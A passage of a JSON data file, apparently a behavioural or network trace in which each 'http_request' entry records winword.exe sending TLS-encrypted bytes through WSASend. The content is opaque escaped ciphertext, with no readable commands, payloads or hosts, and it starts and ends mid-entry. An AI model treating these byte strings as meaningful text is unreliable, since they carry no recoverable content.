\\xfb\\x1dx]\\xb5\\xff\\xff\\xc3\\xcbj8$\\xe2\\xb8\\xfb\\x8e\\xe1ui\\xd6\\x11}\\xc6\\xba\\xdc\\xb7\\xb8|\\xd7\\x9e\\xb4\\x9a\\x0c\\xd0\\xd6\\xe4\\x10\\x06.\\x06f\\x95-\\xbdy\\xab\\xd1\\x93\\x96\\xe5\\xaby{\\xae\\xa5\\x92\\xf5\\xc2\\xc0\\xeaztad\\xe4\\x95t\\xdb\\xee\\x88b\\xb4\\xbaq\\xa7\\xdc$e\\xb2\\xeb8x\\xfc@\\xb1(z"
  641. },
  642. {
  643. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010u\\x80\\x13\\xf7zs\\x16wt\\xb0\\xbb\\xbb\\xef\\xcb\\x12e\\xd3\\x18\\x1f\\x82\\x9f(+\\xf4\\xac\\xc3\\x1f-\\xf7\\xea\\xa2\\xf2)\\xd0(hdb1[\\x97\\xce\\x8b\\xbc\\xad\\xaa\\xcc\\x99\\xef&\\xddf@\\xec\\xd4\\xa1\\xf5oi\\x98r\\xf6goa3:\\x06pv\\x9b\\x87z\\x9b\r?\\xf8\\xbb\\x13\\xa2?f9\\x96\\x8b\\x16\\x07k\\xbd6\\x02w\\xban\\xfd\\xdb\\xbd\\xf3\\x0fh\\x8aho/c\\x19\\x95\\xaa\\xfd\\x96n\\xcd4b\\xa5\\xee8u\\xd5\\xf9\\xd4\\xf6\\x18]\\x96\\x8a\\x12\\xb3\\xb4\\xa2h\\xe7+\\xd7\\xe7o\\xdb@}\\xca2\\xe7.\\x8dt\\x9d\\xee1\\xabl\\\\xb1\\xa7t\\x83\\xaams\\xd7\\x98\\xd8e\\x92it\\x81\\x9ec\\x8c\\x0f\\xad\\xd0\\xf6\\x88\\x03\\xfb\\x1b\\xb0lx75p\\xe0\\x81d\\xc0\\x1f\\xe5\\xd2\\xb3v\\x132\\xf6\\xcc\\x98\\x8a\\x81'\\xaa\\xb0\\xd9;\\x99)&x'\\xbe\\x97\\x0f\\xad\\x81\\x1f\\x04\\x97\\x04\\xd5\\xbb\\x02\\x17\\x02\\x9e:\\xac7\\xd7\\xad\\xe7\\x08\\x89\\xa9\\x82\\xb3\\xead\\xcb\\xc6\\x0b\\xcdb\\x9d%\\xc6x(\\xc2\\x15\n\\xf5"
  644. },
  645. {
  646. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x96\\x90\\xa4\\x81\\xd4[a\\x7f\\x96\\xf3o\\xady%\\xc3\\x9es\\xcf\\xe9\\xf2\\x8e\\x0b\\xec\\x14\\x1fm\\xf5\\x9a$\\xe3\\xfb\\x03\\xa9-\\x87|\\xdd\\xaf\\x85\\xf91t\\xff6\\x9e\\xb2%\\xd7s;\\x80\\xd5u\\xf3\\xca\\x87\\xb2\\xfd\\xde[n\\x9b(\\]3\\xd8\\xf1g\\xa5\\xe5b\\xa93\\xd3\\x85.\\xe0\\x9b\\xa9\\x9d\\xf4\\x99s\\xd6\\xa3\\xe7\\xb8\\xfd\\xb4\\xfb\\x1e\\x0c0\\x01+\\x18\\xe4\\xe1\\xb9\\xa8:\\xef\\xc7\\x0e\n\\xf39\\xb1a\\xce\\x8d\\x13\\x1b\\x17b\\xad\\x85h\\xc17p\\xd5r\\xf9\\x9ci\\xba\\x15\\xd4r\\xe5kq\\x1e\\x0bc\\xda\\x1f\\x99\\xeb\\\\x01\\xaemi\\x17 /\\xe4\\xbe\\x85\\x832\\xac\\xb8l\\xb8uz\\xaeo\\x85\\x1b\\xbf\\x99z}a\\xa6fs\\x1d+j\\x9dbr\\x1e\\xa7\\x7f.\\x8d\\x9e-{\\xe1^\n\\xd0\\xe5e\\x91\\x1d`\\xef6\\xa8\\xb7\\xb3\\x00\\x01\\xa9\\xda\\xfe\\xfe\\x95\\xa6\\xe5g8]\\xfaw\\x94\\x0b3\\xc7\\x87\\x8d\t\\xe1\\x0fpl\\x1ayb \\x8a\\xeb#|\\x0c\\xc3\\xa7\\x96v8\\xf8\\x04\\x9de]\\xcep\\xa5\\xbe{\\xf3\\x04"
  647. },
  648. {
  649. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v\\xad\\x99\\xfc^\\xf7\\x18z\\x9d*n}\\xf9\\x06;\\xeee]\\xf3\\x1d\\xff\\x14_@\\xe8k\\xe7b\\xb1\\xa7\tw\\xd3jevquf\\x7f\\xb6\\x0c\\xa8l\\x1a\\xc4\\xab\\xaab^\\xc4?j\\x90v\\xee\\x14&\\xb7\\x9a\\x90b\\xa9\\xff3}\\xa2\\x06m\\x95\\xf2#\\xeb8\\xfd0%q*8h@\\xcc\\x88\\xcb[\\xa6\\xf0\\xeau\\x9f;\\xc8\\x85\\xe8\\xd6\\x1d<e\\xd5g\\xa7\\xf9sp\\xdfu\\x88\\x9f\\xc9\\xcc\\xd0j\\xae\\xb6~\\x8d\\x90\\xf05g\\xda\\x0c\\x8b8\\xa2\\x14\\xc5\\x9f\\x80\\xd0\\xca\\x07\r\\x16\\xee\\x98\\xad\\x0c\\xca\r\\xc9\\x80\\xb0\\xb4\\x07\\xc6z\\x12\\x8e\\xcdr\\x92(\\xb4\\x11y\\x8c\\xd1\\xf4\\xb7\\x9e4wd\\xbf\\xd9p#f\\x8f%\\xad.\\xd4q\\xd9n\\xf4\\x8be\\xcd\\xe7wq~\\xce\\xbe\\xc0\\xd3\\x9e\\xf1\\x16\\xc2i\\xe3\\xb6\\x1bby\\xe9\\xea\\xc68\\x83\\xc3\\x8c%1zsy\\xb8d\\x9dw|\\x91uo\\xe9\\x82d|\\xd3j\\x93\\xa3\\xb3kh\\xe9w\\xb6\\x9dc\\xcd\\xcc\\x12f\"\\xba\\x90\\xd3;\\xf4\\x95\\xdd\\xb9\\x0b\\x8d"
  650. },
  651. {
  652. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc6\\x10\\xc8h4$\\x89[\\x9b\\x85\\xff\\xf9{\\x1c\\xe0\\xa1\\x7f\\xfd\\x8e\\xd5\\x9a`\\xe7!\\x13\\xc9\\xba\\xed8\\xcc\\x9f\\xc6\\x85\\xb6\\xd5,\\xb4\\xe8\\xfb\\xdemo\\xc6\\x9e\\xb0$s\\xc98j\\xfa6\\xf7}8\\x83\\xe1\\x94*e\\xad\\xdb\\xa2:\\xf9\\xb1\\x85\\xe8\\x99`\\xa5\\x15\\xfb\\x9b\\xd3)\\xd0%b\\xabt\\xa6m\\x80y\\xa1\\xd4\\x83\\xeb\\xc7)'\\xa5$\\xcf\\x08$\\x99`\\xc0?\\xdat*\\xb4\\xfa\\x86\\xb1\\xd41\\xe2`\\x188*6\\x87\\xa7\t\\x07g\\x96\\xeahc\\x84@eth\\xb1\\xc1\\xca:\\x8f`\\x0c\\xff\\xa2+\\xa2\\xed\\xc3\\x15\\xa0\\xe5:\\x90\\x883d\\xa5\\xa6\\xec\\xb6\\xbd\\x01;^\tp\\xe4\\x04\\xe5m\\xbd;\\xe7\\x14k\\xff.m\\x8a\\xe0~\\xcd\\x01\\x8f\\xc7:=\\xe5t\\x06\\xe8o\\x87\\xe7\\x93\\xab:\\x99\\xc9|\\xd6w\\xbe\\x7f\\x96\\xca\\x1a.;\\x81h\\xea\n\\x9a\\xac36\\xdem\\xf8qb\\xba\\xdc\\xdb\\xff$\\xd2\\xceo\\x1c\\xb0w\\xd3\\xd4z\\xc0\\x17n\\xb9)y\\x94(\\xdb\\xa24\t\\@\\x90z\\xe66+\\xd9"
  653. },
  654. {
  655. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x17\\xdea\\xdc\\x12\\x98\\xfd71\\x1f\\xec\\x1b\\xf1\\xfd\\xf8/\\xe69s<\\xec@o\\xc5d\\xa8\\xf0\\xaa\\xd9\\x94\\x8c\\xd2\\xcd\\xd3$\\xb1y\\xdd\\xf0\\xf0\\xc1\\xde\\xb4-p\\xfez7\\x97\\x14\\xc6wf\\x1e\\xe2\\x98\\x93x\\x9ef\\xc0\\xf3\\xe3\\x89\\xa3\\x07@\\xda\\x89\\x81\\x11\\x15c\\x06(\\x8d*\\xfcx\\xdaj\\x83\\x90\\xee\\xe3bq\\x0b`\\x14&\\x96@\\xb58\\x00\\xf0sk\\xf6\\x805\\xf4\\x19\\xe2jz\\xce\\x8b3\\x18\n\\x154e\\xd3\\x95\\xa2\\xc8\\xd5\\x8c|\\xca\\xd4;\\xc3\\xad@\\xe2\\xf5b\\xab\\xbb-\\xd6\\xec+\\xca\\xf0~w\\xd0\\xd3-\\x1bw\\x81\\x8bt\\x08\\xc8\\x8b\\x8d\\x04rl\\xd9e\\x176\\xfe;\\x9a\\xaa\r*es\\xf3\\xf0\\x06f\\xa2\\x9acn\\xe6m\\xea\\x97qg\\xee\\x87kg\\x04h\\xbc\\xdd\\xd3\\xb4l20f\\xb8\\xc6\\xea\\xaf\\x95&\\x108\\x99s\\x86@\\x9dd\\xca\\xee\\x83\\x87%\\xf8\\x88e\\x9c1f)\\xaa\\x96sc\\xcc]\\xc8\\xd9>=i\\x1f\\xe2\\xb4>\\x1b\\xe2\\xed\\x99k\\xb6< [\\xf3\\x80\\x9a/\\x15"
  656. },
  657. {
  658. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04^-\\x9a+\\x9d\\xdc\\xeabin\\xdcy\\x80*9=\\xb2\\xfe\\xcb\\xda>\\xb8<6k2\\xe9\\xb4)\\x89\\xfec%\\xad\\x86\\xb1\\x17\\xaa\\x12\\xb6\\x9f8\\x8eow\\xb3t\\x8f\\xf6\\xf8\\xed\\x15\\x94cl\\x9d\"\\x9d\\x02\\x85y<d\\x84\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000k:\\x88\\x8e(\\xa6k\\xff73\\x83\\xce2\\xc4\\xf4\\x03\\xcc\\xf9\\x9e\\x9f\\xbc\\xe8k\\xb7\\xeb\\x94\\x10\\x1c4\\xa5\\xfad\n^8\\xee\\x15)a\\x9ad\\x95\\x87\\xd2_g\\x8dl"
  659. },
  660. {
  661. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa0\\x87\\xfd\\x91\\x06`\\xd2\\xd6\\xd0\\xd4qs\\xd9l\\xbc\\xc2@\\x0b\\xe6\r2\\x983 \\xd2\\xdai7\\xb7v\\xab\\x86\\xe8+f\\xc3\\x080\\x99h\t\\xf1c\\xc5qx\\xd0-\\xc9n\\x04\\xc9\\xfa\\x9f\\x90\\xe9\\x1e;\\xfd{\\xb6s\\xf5\t\\x8fln8m\\x8f\\xdbs\\xe8\\x0f>\\x86\\x1ft8\\x03\\xb9c%6o'\\x9e\\xb7\\x00\"%$\\xd1\\xc1\\xc9$\\\\xf5\\x85\\xe4\\xe4\\xba\\xc8@+\\xe7;\\x88\n\\xaa\\xe3\\xc1h#\\xaa\\xb8\\xc5/\\xaa\\x16\\x0e\\x0fk\\xd8\\xc3\\x86r\\x04>\\xf2k\\x88\\xd3\\xca\\xc0\\x83\\xdfa\\x88\\x04\\x89\\x1f\\x07\\xfe\\xf5\\xf8\n+\\xbb\\x05\\x7f\\x0bf$95/\\x19\\xbf\\xba\\xf8\\x0c\\xf4\\x18h\\xd0l\\x85\\xa5\\xa7\\x1b\\x04\\xff\\x9a1\\x1e\\xdd_\\x1av\\x8c@\\x96}c\\xa3\\xecj\\xf3\\xe4v;\\xd9\\xf7h\\xdf\\xc1\"l\"\\x10\\xc9_gv#a\\xf5[~#\\x99:\\xb4\\xb6\\xd6}#\\xea\\xdb)\\x84\\xb5\\xe4\\xf2\tm4\\x16\\x97&,,\\xd7c\\xe1b\\xb2\\xd6y\\x86\\xc3@\\xc6\\x01\\x8a\\xde\\xfc\\xbc\\x9d\\x08"
  662. },
  663. {
  664. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0102\\x1d\\xa7\\xaei\\xfb\\xae\\x0f\\xd6\\x1d\\xed\\xf3\n\\x88\\x8fba\\xa8\\xaa\\xfd\\xce\\x9a\\x87(\\xc9l\\xfd@\\x8c\\x1fz\\x10\\xdf\\xa5\\xfdv\\xa7m\\xfe\\xbe\\x91\"\\xdd\\x84\\x05\\x1c\\xa3ji\\xae\\x81\\xb4y+7\\xd73s\\x91\\xd98o\\xe82n\\xcdr\\xc0b\\xcc\\xa1?\\xe2\\x94\\x7f\\xe2\\xda\\x12\\x86\\x14\\xa7%xy\\xbc,\tu\\x85{f[\\xf2\\xd7\\x0f\\xb4\\x94\\xee)\\x85\\xb4+\\xa7y\\x8fs\\xe8\\xfc\\xea\\x17cr\\x9c\\x0b\\xcbd\\x9d\\xe6\\xc3\\xa8u\\x0e\\xed\\xa5\\xd6?\\xa9\\x17\\x91\\xc7\\xd2\\xe9kr\\x83r\\x952;\\xbe2h\\x11g^m~\\xfb\\x1d\\xa9+\\xff@~.\\xacd\\x03\\xfd\\xe8,\\xe2\\xfd\\xc6\\x7f\\x83\\xa9\\xd4k/\\x08\\xecd\\xb3vl\\xf0\\x83\\xf7j\\xf4\\x89=\\xa6\\x15\\x9c\\x99sc\n\\xe3\\xf0np\\x7f\\xa5h\\x08\\x80\\xc0~\\xdf\\xb1\\xfd\\x91\\xcd*\\x8d\\xd3\\x8ex\\x82\\xac\\x9f\\x06\\xe5_\\xb4\\x1a\\xb3\\x06\\xe7\\xa0g|\\x0e\\x84\\x9ag\ndh\\xaci\\xabn\\xfc\\x8e\\xf5\\xea\\x07\\xe8\\x9ez\\xf3=\\xe5t\\x92\\\\x10"
  665. },
  666. {
  667. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010n\\xe5\\xc7\\xd2\\x19r\\x1d\\xd5\\x94\\xaf\\xad\\x05z8\\x05\\xd7\\x04m+x{r\\xa1\\x7f\\xe1i\\x91\\xb5\\xcc\\x03l!\\x13qot\\x85\\xde\\xa8w@6\\x0f>\\xc8\\x13u/\nt\\xc2^\\xa1\\x06\\xf3i\\xb8r\n\\xc6\\x13p\\xdf\\xee]\\x0f\r\\x9e\\xad\\xe7o\\x90\\x01\\x9a\\xa6\\xc9\\xc4\\x08\\x0b\\x1e\\x0b*am\\x8b\"c\\xb7\\xc0\\xbc\\xe7\\xae\\xbc\\xe6\\xffky\\x8f\\x89\\xa0\\xda<\\xb2'\\xc0y\\x06\\xe3\\x82:fm[i\\x8f\\xe3\\xad\\xd7\\x8f\\xb9\\x03\\x06x\\xe4\\x8e\\xaf\\x9a\\x869,k\\xe6\\x13\\x07'c\\xde\\xa2\\xf8\\x02\\xc8\\xe8\\xad\\xff\\x11%e8)zc\\xd0\\xecmd\\xf3~p\\xce\\xe9\\x9d\\x83qfdo&/,\\xd7\\xf4w\\xd6\\x8e\r\\xc1\\xf9\\xa1'\\xdd\\x94\\xb5\\xd7\\xe1\\x92s\\xcf\\x15,[\\xf1o\\xe2\\xef\\xc1\\x12t\"\\xa1\\xa8\\xfdn\\x94b\\xa1tx\\xe4i\\c`\\x88\\xa7\\xf3\\x83\\xcd\\xab|lqb\\xad\r\\xd2<\\xfa\\x92\\xec\\xc3\\x88hn\\x99\\xb8,\\xb1r\\x9d\\xab\\x9d\\x8c\\x0f\\x971\\xe8\\x8c\\x8b\\x1fc\\x91"
  668. },
  669. {
  670. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010~\"\\x179\\xd5\\x0e\\x16\\x06>\\x90;\\xe4v\\xaf\\xedt h\\xd0\\xfd)\\xd8|\\x99\\xda\\xe2\\x0fxg\\xdf6,\\xd4`n\\xf5&\\xec\\xb6]]x\\x81\\x04\\xc5\\xf3~\\x06\\x96\\xe6\\xeb\\xd9\\x8e\\xdav\\xa2o\\x84\\x93\\xce\\xfa\\xce\\xc4\\x99\\xa10\\x1b\\xe98w\\x1d\\x85\\xcd\\x05x_g\\x10v#\\xe6\\xb1\\x05\\x1f\\x02\\x02\\xe5\\xeao)i \\xa6\\x9e\\xa0l\\xfb\\xc5\\xf19q\\x15\\xb4\\xeb\\xa3\\xbf\\xbby\\x08\\xaf\\x87c\\x80\\x88\\xeb\\xeb)\\xfe\\xbb6\\xb8\\x9c\\x0c;|\\xa4x\\x8d\\x81\\xc7\\xd4(\\xf3\\x05\\xb4\\xbc\\xe2\\xc6\\xf0\\xb4\\x05en\\x1e\\xb6\\x94g\\x0c\\xfe\\xbe{\\x8a`a@\\xe2ye=\\xb8e\\x9b\\x05*\\xe8\\xe6\\x9c\\xca)\\x8d\\xb0\\xe5\\x06\\x879\\x1e\t\\x14l>\\xc2\\xb9\\xba\\xfb`\\xbc\\x14\\x9e\\xf85\\xf0\\xc1p\\x8d\\xc2g7\r\\xce#\\xfc\\x81\\xe4l\\x1ez\\xe5\\x98b\\x06\\xbb\\x13\\x99\\x1c\\x1f\\2{\\xc2\\xff\\xeftcia\\xbe]\\xbc\\xcf\\xfe\\x8d\\x1cr/\\x9b\\xb8x\\x96\\xbe\\xd2\\xa2s\\xe6d\\xfa\\x89m\\x90+\\xef\\xb5"
  671. },
  672. {
  673. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc6\\xc4hg,\\x04\\xe6\\xa9\\xef\\xcfi\\xde2b\\xcd;\\xd3|^\\xca\\xd9\\xdd\\xa7q\\xbb*\\xf9\\x1b\\xcb\\xf9)pep\\x88i\\x11\\xd2\\xa8\\x96o\\xa7\\x05\\x87\\xed\\x0e\\\\xc8p?\\x8c\r\\xd7r\\x1f\\xca`s\\xa1\\xc9\\xd4\\xc2t\\x9d;\\xb8\\x99#l\\x05kg\\xdd\\xcb\\x0en\\xcd\\xcd\te:\\x06\\xe9\\x85\\xcb\\x83\\x8d\\xa0\\xb2\\xfb\\x90elh8\\xca\\x1f|\\x90\\x86\\xb1\\x08\\xb1\\xf9\\xb6i@s\\xfc'@[n\\xa4\\xcbyr\\x9bg\\x04n\\xf6\\xf7'\\xeduw\\xcf\\xd1!m\\xd2\\xae\\x1e\\x99\\xb2\r\\x81m\"\\xffx#\\x0e\\x02s\\xc7\"\\x91\\x80\\xcc\\xe5\\xc8tn\\x849\\xbd\\x92\\x859\\xb5\\xa9\\xeb\\xba_\\xcd\\xa5_f\\xd8y:_\\x056k#\\xa6\\xecp\\xa6\\x19\\x95\\xf3\\xf3\\x80\\xd91rs\\x8e\\xab\\x81>vn\\x88\nl\\xdcx\\x89\\xeaz\\xf07\\xaf\\xd4\\xfe\\xbe\\xb8\\xcc\\xcd\\x06\\x05\\xdbg\\x14\\x8bu\\xd2\\x1af\\x92m\\x80\\x888\\xb5\\xf1\\xfc\\x9c\\xf7q=\\xce\\xd4\\xc3rmj8\\x86\r/4\\xa7_3\\x86"
  674. },
  675. {
  676. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x13\\xca.\\xb6\\xb2\\x1a\\xaba\\x93\\x9f\\xa7a\\xea-y\\x0f\\xf6f\\xaa\\xa1g\\x1c\\x13\\xfe\\xde\\xfb\\x8d\\xf4\\xba\\xbd_\\xe0\\xb8\\xe8\\x12\\x9a\\xfd\\x9d,]\n\\xe9?^\\x8f2rt\\x1e&\\xdbf\\x9ac\\x1e\\xe7+\\xf4\\xcc\\xe7\\x1by\\x1eup\\x99\\x0c\\xcco\\xb3\\xb6\\x04\\xeb\\x14\\xc4\\xc1b\\x94\\x90\\xc1x\\xc8\\x88\\x84\\xbb\\x925\\x0c,\\x80yo\\xdf\\x91\\xa1\\xc6'!m\\x93\\xc2\\x17t\\xcd\\xe1\\xa2\\xec\\xbe\\x99\\xbeh\\x90^\\x1b\\x0f\\xe6\\xdd8\\xc5t\\xe10\\xdej\\xfc\\xfe\\xb9\\xee\\x9fc\\x17\\xaa\\x90\\x0e\\xf7f\\xc5\\x07w3j\\xd8>\\x89xq_\\xee\\xf2i\"d\\xec\\xe4\\xe3\\x19\\x15nt\\xb4wmj'`\\xa8\\)\\xce\\x05\\xa4\\xd6\\xa3b`\\xfd\\xaa/\\xfb\\xdaf\\x82{\\xcevm\"\\x87\\xfenb\\x96go\\xfc\\xfbd\\xc1\\xed\\x07s\\x1a\\xfa\\x9c\t\\xd9\\x0f\\x14'\\xee\\xfd v\\xb7\\x93q\\xc0\\xb5e\\x05\\x7f\\xa3\\xe5\\x96)\\xa1\\xc5\\x94\\x16[\\xf0\t/9\\xa5-\\x98l\\xf0n\\x9bw\\xeb}\\xb5\\x82}wj\\x97i"
  677. },
  678. {
  679. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010j|\\xa5wr}\\xbb\\xb5pc\\xfe\\x1b\\xbe\\xf53a\\x93\\x13j\\xa3\\x82xlx>\\xdc\\xff\\xe5,\\x14z\\x89\\xfe\\xb5\\xa5\\xaf\\xbb\\x9e\\xab\\xbb\\xc1\\xb4n\\x8e\\x928\\xda\\x1b\\xf4\\xcc\\xc0\\x86\\xb8\\xe8\\x80\\xa1\\x81yw\\x81o*\\x82\\xff\r \\xc0\\xbe\\xa8\\xcc\\xf7\tv\\x8ar\\x87\\xa1[\\x18@\\xbc\\xb5\\xef\\xc6},\\xe6\\x83\\x95\\xb6\\xe2f\\xb2\\x00\\x96\\xaawc\\xc0f%x\\x90\\xd5\\xb8\\x83\\x07b\\xfd<<\\xdebc>\\x10\\x93\\xc4\\x9f\\xb8\\x96\\xf5\\x9b\\xac\\x0fk\\xb3\\xa5\\xd7\\x9c\\xfa\\x17\\xd4\\xc3\\x9a\\xe9\\xf9^\\x8c\\x08\\xda\\x1b\\x11)\\x95\\x18\\xb8j<\\xfb\\xeaf\\x9d\\xc1\\x06*<\\x8d\\x8b\\x8a\\xb4\\x7f\\xd2\\xf4tq\\x9bf\\x90`pk\\xad\\xef\\xbb\\x81\\xe8\\xed\\xbfo\\x97\\xda\r.8f\\xde\\xb9qe\\xd1\\x16\\x17\\x19\\x94n\\x88\\xae\\x8ao\\xe5\\xeau\\xba\\x85\\xe0e@\\x96\\x14\\x19t\\x8a\\xd0g\\xdbg,\\x98\\x84\\xad\\xaeh\\xefa\\xb8\\x03?f\\x0c*\\xcb\\xc2\\x16\\x1d\\x85x\\xec\\x10\\xe8\\x84\n\\xc8\\x1a'\\xbd\\xf5q\\xe9\\xdbx"
  680. },
  681. {
  682. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe6i\\x9dnwx|\\xdd,g\\xca\\xea\\x89\\x1d\\xcf\\xe3\\x9cv\\x86\\xa0\\xf4\\xfe.\\xe4%\\xdfymt\\x8a\\x89\\x8d\\xcbc\\x00\\x10\\xb2tr\\xc0\\xd8\\xf2\\xd71/\\xb5\\xb4<\\xc4\\x80\tm\\xb5*ey\\x07\\x946\\xf1\\x0e5\\x08\\x16\\x7f\\xf6\\xab7.s\\x87\\xa2\\xd2t\\xb3d\\xb4\\xc0\\xad+\\x02\\xd1`\\x95\\x06\\xcb\\x9a\\xe4\\xdb\\xcee@\\x8cdffr\\x895'd\\x01\\xc5v\\xac\\xd6\\x17\\xe5'l\\xd3\\x11\\xff\\xact?\\xbc\\x8ba\\xb5\\x0c\\xe5\\xd2\\xf2\\x19e\\x88\\xb0>\\xa9~\\x8f\\x81b\\xfek5\\x1c\\xcc\\xc3j\\xb4\\xf1\\xf5\\x1b\\xa0rns\\\\xdb\\x17\\x7f\\x9d\\xe9vk\\xf5\\xcc(\\x89l6\\xf7d\\xa07\\xd9\\x89\\x85i\\x8cc\\xf6\\x1827\\xb2\\xca\\xf8\\xbe\\xde>\\x19\\xae\\xbf\\xcb-\\x81\\x00\\x97|\\x930\\xa0\\xea\\x8f\\x8c\\xdd\\xf7%\\xb0\\xb5f\\xe8y\\x07l\\x8dn\\xe3\\x05\\xff\\x14\\xa1\\x1f&\\xd3a\\x17\\x8chz\\xb1o5@\\x08\\x87\\xf4}xq;!}\\x91\\xe3\\xe4\\xb1o\\x0fk<\\xe6/w\\x139\\xb9\\x9a"
  683. },
  684. {
  685. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010u\\$w\\x11h3\\xcd\\xa8\\x157\\xeax\\xcd\\xbc\\xb2{1\\xec1\\xc8\\xc8\\x8a\\xa2\\x86\\xe4'\\x19\\xe2\\xc2\\xe1!\\xdb\\x8c\\xc8o\\x92u\\xb2(p\\xd82\\x8e\\xa5\\xccd\\x1by\\xa5\\xc8\\xe6\\x94\\x996\\xaci\\x16\\x95\\xde\\xb3}\\xd6\\x02\\xf4\\xfe\\xe9\\x0e\\x94\\xa7x\\x93\\xce\\xe50h\\xc7<\\x1d\\x06\\xb9\\xfc\\xdf]&\\xdam\\xde\\xf4r`\\xd4\\xfb\\xf2\"c\\xcb*\\x7f$\\xc2l\\xe6\\xc4\\x1a\\xfd\\xeff\\x08l\\xb8n\\xc3m4\\x99\\xe6 n%\\x16\\xe4\\xe9\n\\xc5\\x80!\\xe7b\\xa6c\\x16r\\x9a\\xce\\x0bma\\x1a\\xabkb\\x9e\\x9d\\xfc\\xc6\\x05\\xbcf\\xcbsgw\\x05\\xfbb(\\xeevgwp\\x02\\xb6\\xaes\\xbfs\\xa4\\xf3\\x1f\\x8e\\x00\\xaew\\xcfu\\x94\\xf8\\xaap4\\x080%\\x95\\x94\\xd2\\xa2yi{\\x85z\\x9a\\x1fy\\xd7m\\xea\\xbc!\\x88\\xf5\\xb7\\x928\"\\x89\\x07e\\x94\\x95\\x12|\\x96\\)\\x80f\\xe7\\xd1g\\x19t\\xfe)\\x17\\xcb\\x9ael\\xb6\\xa4\\xd0v\\xd6\\x8f]\\x9c\\xdaz\\xf7`ee\\xa8\\xb2\\xdc\\xd5\\x18"
  686. },
  687. {
  688. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x97\\x1ff\\x12\\xaa\\xcc\\xad\\x911m\\x98\rb\\xb1\\x06\n\\x17\\xa8\\x1f\\x13 f\\xdf\\x1d\\x90\\xc8pv\\x19\\x07]\\xf8c\\x9f\\x0c\\xb9\\xbb\\xa0\\xc5\\xeau\\x0f\\xbd$2m\\xbc\\x887\\xcbs\\xbfm\\x85\\xf4hn\\xd2\\x02\\xdb\\xd9\\x05\\xe7\\xbag\\xaa\\xbd\\x9d\\xe2;do\\xc5\\xe4\\x81\\xda\\xb6w%\\xd7\\xd4\\xd8\\xa0\\x16\\xdec-gv\n\\xbfr\\xd2\\xbb\\xf6\\xb4g\\xbcyw\\xf0\\x81t\\xe5\\x00\\x13\\xf6]\\xd4\\xa6\\xbc2\\x1a\\xba5\\xafk\\x90,\\xd2\\x16\\x02h;%r*\\xf3\\xad+\\xdd.\t\\x97o\\xfb\\x8e\\x02\\x9f\\xff\r>\\x97\\xbb2\\xad\\xe0\\x97*!\\xe7z\\xfb]\\xba\\x91_\\xa7qa\\xfe\\xd0=\\x1d~\\x11\\xba\\x1bxe\\xa2\\x05\\x0c\\x14!\\x07\\xa4\\x04\\xa3\\x91|\\xe3\\xff)\\xdc\\xdf]\\xbc\\xec\\x1e\\x0f*sun+\\xc0t+\\x11\\xf4^\\xc1@s\\xc3\\x88\\xf8\\xa7?v\\xfa\\xc9\\xddaex\\xealy\n\\xcf\\xa1\\xb3\\xca+wq\\xc0\\x16\\xed\\x9d;\\x9f|\\xcd\n\\xa4\\x0c\\x97sg\\xf8\\x8c\\xa7\\xf1\r\\xae\\xdc\\x0e\\x0c"
  689. },
  690. {
  691. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010:t\\x8a\\x92`e\\x0e\n\\x85\\xdck\\xd7\\x92^\\x1f\\x15\\x93,\\xb6\\x86\\x8a\\x90cqb\\xa7\\xb6\\xdd\t8\\xec\\xf3\\xcc\\xacq\\xb8w\\xee\\xb5\\xdc\\xe1\\x1f\\xd0\\xae\\x08i\\x81\\x0c\\xc8\\xafw\\x95\\x9al\\xbb\\x16dj\\xd0\\xe7\\xb8v\\x96o/)\\xcav\\x95o\\xc1\\x1a\\xd1\\x82\\xa5\\xa6\\x16-\\x1d\\x7f\\xaaf4\\xe4\\x12\\x9b\\xd0\\xb2(\\xfd\\x9c\\xed\\xc9a\\x9f\\xdcb\\xc8kq\\x1f\\x9b#\\xa9\\xb4\\x89e\\xe9\\xc6\\xc6\\xb3\\x9d\\xabw\\xe0n)#\\xa2/s\\xa7\\xa8wf\\xb3\\x82\\xc0r\\xa5\\xeb\\xe8|\\xdd\\x19\\x06.a\\x88\\xc5\\x1a\\x015\\x8e|\\xa4\\x9f\\xaa\\x0b\\x1b\\xe5\\xb6\\xf3\\xdfo\\x19p\\xe4\"\\xc1\\x9dg\\xa0\\xe3u&\\x97\\xb9\\x90\\x06|\\xceh\\x8a\\xac\\x94\\xc6x\\xb7\\x87\\xea\\xe4\\xdb`\\x93i\\x871c\\xa2!\\xa4\\xe82\\xbci\\x89i'n\\xd0\\x96~b\\xed\\xbb\\x18a\\xc9\\xa7`\\xad\\xe2d_\\xed\\xda??\\x00\\x89\t\\xea_\\xfc\\xf1\\x81\\x95[\\xa7\\xd0\\xadg\\x04y#{\\xc2\t\\x0f\\xcf@|\\xe5\\x9b/\\xd0\\xc0j\\xb5\\xdb"
  692. },
  693. {
